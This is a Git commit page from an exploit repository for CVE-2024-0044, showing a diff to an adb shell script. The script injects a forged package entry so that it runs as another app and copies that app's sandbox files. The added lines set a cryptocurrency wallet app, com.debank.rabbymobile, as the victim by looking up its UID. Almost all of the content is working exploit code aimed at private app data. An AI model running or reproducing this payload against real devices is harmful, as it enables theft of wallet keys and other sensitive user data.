Re13orn/CVE-2024-0044-EXP
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update CVE-2024-0044.sh

Browse Source
This commit is contained in:
Yao-iiooii
2024-07-12 10:59:00 +08:00
committed by GitHub
parent ef939ab9ac
commit 4008c13ac4
1 changed files with 4 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

5
CVE-2024-0044.sh
View File

@@ -29,8 +29,11 @@ adb shell "mkdir -p /data/local/tmp/tempqazmkp/ && touch /data/local/tmp/tempqaz
# 推送任意APK文件到设备临时目录 # 推送任意APK文件到设备临时目录
adb push $APK_PATH /data/local/tmp/tempqazmkp/any.apk adb push $APK_PATH /data/local/tmp/tempqazmkp/any.apk
# 获取 package的uid
PACKAGEUID=$(adb shell "pm list packages -U | grep com.debank.rabbymobile" | awk -F 'uid:' '{print $2}')
PAYLOAD="@null PAYLOAD="@null
victim 10149 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null" victim $PACKAGEUID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
# 提权并拷贝沙箱文件到指定位置 # 提权并拷贝沙箱文件到指定位置
adb shell <<EOF adb shell <<EOF
PAYLOAD="$PAYLOAD" PAYLOAD="$PAYLOAD"